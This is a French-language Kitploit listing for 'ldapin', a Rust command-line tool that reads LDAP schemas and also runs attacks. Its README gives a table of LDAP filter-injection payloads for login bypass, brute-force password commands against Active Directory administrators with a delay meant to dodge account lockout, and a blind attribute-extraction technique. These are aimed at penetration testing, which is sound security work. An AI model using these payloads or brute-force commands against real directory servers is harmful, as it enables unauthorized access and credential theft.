Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ldapin — Outil CLI pour effectuer des tâches LDAP de base lors d'évaluations de sécurité | Kitploit
Outils/GitHubGitHub/affolter-engineering/ldapin
ReconnaissanceAttaques de Mots de PasseAnalyse des VulnérabilitésCollecte d'InformationsTests d'IntrusionAuthentification
GitHubaffolter-engineering/ldapin

ldapin

Outil CLI pour effectuer des tâches LDAP de base lors d'évaluations de sécurité

Voir le dépôt
129il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ldapin

Un outil CLI qui découvre les champs LDAP valides en interrogeant le sous-schéma d'un serveur LDAP. Il lit attributeTypes et objectClasses directement depuis le serveur, de sorte que les résultats reflètent toujours ce que le serveur prend réellement en charge.

Fonctionnalités

  • Liste tous les types d'attributs avec OID, syntaxe, cardinalité, alias et description
  • Liste toutes les classes d'objets avec leur type (structurel/auxiliaire/abstrait), les attributs requis/optionnels et la chaîne de superclasses
  • Filtre par sous-chaîne sur le nom ou la description
  • Trois formats de sortie : table, JSON, CSV
  • Bind anonyme et authentifié (simple)
  • LDAP simple, LDAPS et STARTTLS

Installation

Nix (recommandé)

# Run directly without installing
nix run github:your-user/ldapin

# Or build and link into ./result/bin/ldapin
nix build github:your-user/ldapin

Pour les utilisateurs de Nix ou NixOS, un paquet est disponible. Gardez à l'esprit que les dernières versions peuvent n'être présentes que dans le canal unstable.

nix-env -iA nixos.lapin

Depuis un checkout local :

nix run .
nix build .

Cargo

cargo install --path .

Utilisation

ldapin [OPTIONS]

Options:
  -H, --host <HOST>           LDAP server URL [default: ldap://localhost:389]
  -D, --bind-dn <BIND_DN>     Bind DN (omit for anonymous bind)
  -w, --password <PASSWORD>   Bind password
  -W, --prompt-password       Prompt for bind password interactively
  -f, --filter <FILTER>       Substring filter on name or description
  -c, --object-class <NAME>   Limit to a specific object class (with -m object-classes)
  -m, --mode <MODE>           What to show: attributes, object-classes, both [default: attributes]
  -o, --output <OUTPUT>       Output format: table, json, csv [default: table]
  -b, --base-dn <BASE_DN>     Base DN to search under (required for --mode login-bypass)
      --user-attr <ATTR>      User attribute name for login-bypass probes [default: uid]
      --pass-attr <ATTR>      Password attribute name for login-bypass probes [default: userPassword]
  -u, --target-user <USER>    Target username for login-bypass probes
      --starttls              Upgrade connection with STARTTLS
      --insecure              Skip TLS certificate verification
  -h, --help                  Print help
  -V, --version               Print version

Exemples

Lister tous les types d'attributs sur un serveur local :

ldapin

S'authentifier et lister toutes les classes d'objets :

ldapin -H ldap://ldap.example.org -D 'cn=admin,dc=example,dc=org' -W -m object-classes

Trouver tous les attributs liés à mail :

ldapin -H ldap://ldap.example.org -f mail

Tout afficher en JSON :

ldapin -H ldaps://ldap.example.org -m both -o json

Exporter tous les attributs en CSV :

ldapin -H ldap://ldap.example.org -o csv > attributes.csv

Afficher l'entrée de la classe d'objets inetOrgPerson :

ldapin -H ldap://ldap.example.org -m object-classes -c inetOrgPerson

Se connecter avec STARTTLS :

ldapin -H ldap://ldap.example.org --starttls -D 'cn=admin,dc=example,dc=org' -W

Tester avec le serveur LDAP public ForumSys

ForumSys fournit un serveur LDAP gratuit en lecture seule adapté aux tests.

ParamètreValeur
Hostldap.forumsys.com
Port389
Bind DNcn=read-only-admin,dc=example,dc=com
Passwordpassword
Base DNdc=example,dc=com

Lister tous les types d'attributs (bind anonyme) :

ldapin -H ldap://ldap.forumsys.com

Lister tous les types d'attributs (authentifié) :

ldapin -H ldap://ldap.forumsys.com -D 'cn=read-only-admin,dc=example,dc=com' -w password

Lister toutes les classes d'objets :

ldapin -H ldap://ldap.forumsys.com -m object-classes

Afficher la classe d'objets inetOrgPerson :

ldapin -H ldap://ldap.forumsys.com -m object-classes -c inetOrgPerson

Filtrer les attributs par nom :

ldapin -H ldap://ldap.forumsys.com -f mail

Tout exporter en JSON :

ldapin -H ldap://ldap.forumsys.com -m both -o json

Test de contournement d'authentification

Le mode login-bypass sonde un serveur LDAP à la recherche de vulnérabilités d'injection de filtre. Il construit 11 payloads dérivés de techniques d'injection LDAP connues et indique lesquels renvoient des entrées. Le même résultat qu'une application web vulnérable produirait si elle construisait son filtre d'authentification à partir d'entrées utilisateur non assainies.

# Probe with anonymous bind, any-user payloads
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com

# Probe for a specific account
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -u einstein

# Active Directory. Use sAMAccountName and unicodePwd
ldapin -H ldap://dc.corp -m login-bypass -b dc=corp,dc=local \
  --user-attr sAMAccountName --pass-attr unicodePwd -u administrator

# JSON output for scripting
ldapin -H ldap://target -m login-bypass -b dc=example,dc=com -o json

Payloads testés :

PayloadModèle de filtre
wildcard-both(&(uid=*)(userPassword=*))
wildcard-password(&(uid=TARGET)(userPassword=*))
negate-password(&(uid=TARGET)(!(userPassword=void)))
or-always-true(|(uid=*)(uid=TARGET))
double-or-inject(|(uid=*)(uid=*))
and-tautology(&(uid=TARGET)(|(userPassword=*)(userPassword=*)))
objectclass-wildcard(&(uid=*)(objectClass=*))
not-nonexistent(!(&(uid=__ldapin_nonexistent__)))
empty-password(&(uid=TARGET)(userPassword=))
wildcard-user-prefix(&(uid=TARGET*)(userPassword=*))
bare-user-wildcard(uid=*)

Exemple ForumSys

ldapin -H ldap://ldap.forumsys.com -m login-bypass -b dc=example,dc=com

Attaque par dictionnaire

Le mode brute-force résout d'abord le DN complet de l'utilisateur cible via une recherche LDAP, puis tente simple_bind(dn, password) pour chaque ligne de la wordlist, en s'arrêtant au premier succès.

Options requises : -b / --base-dn, -u / --target-user, --wordlist.

# Basic dictionary attack
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist /usr/share/wordlists/rockyou.txt

# With a 500 ms delay between attempts to stay under lockout thresholds
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt --delay 500

# Active Directory (use sAMAccountName)
ldapin -H ldap://dc.corp -m brute-force \
  -b dc=corp,dc=local --user-attr sAMAccountName -u administrator \
  --wordlist passwords.txt

# JSON output
ldapin -H ldap://target -m brute-force \
  -b dc=example,dc=com -u jdoe --wordlist passwords.txt -o json

La progression (résolution du DN, nombre de tentatives, résultat) est écrite sur stderr ; le résultat va sur stdout, de sorte que -o json et -o csv s'enchaînent proprement.

Exemple ForumSys

# Create a small wordlist with the known password
echo password > /tmp/test.txt

ldapin -H ldap://ldap.forumsys.com -m brute-force \
  -b dc=example,dc=com -u einstein --wordlist /tmp/test.txt

Extraction aveugle d'attributs

Le mode blind-extract récupère la valeur de tout attribut lisible caractère par caractère en sondant de manière répétée avec des filtres à suffixe joker :

(&(uid=TARGET)(mail=a*))   -> no entries
(&(uid=TARGET)(mail=e*))   -> entries found -> 'e'
(&(uid=TARGET)(mail=ei*))  -> entries found -> 'ei'
...

C'est l'équivalent en LDAP direct de la boucle classique d'injection aveugle utilisée contre des applications web vulnérables qui construisent des filtres LDAP à partir d'entrées non assainies.

Options requises : -b / --base-dn, -u / --target-user, --extract-attr.

Télécharger l’outil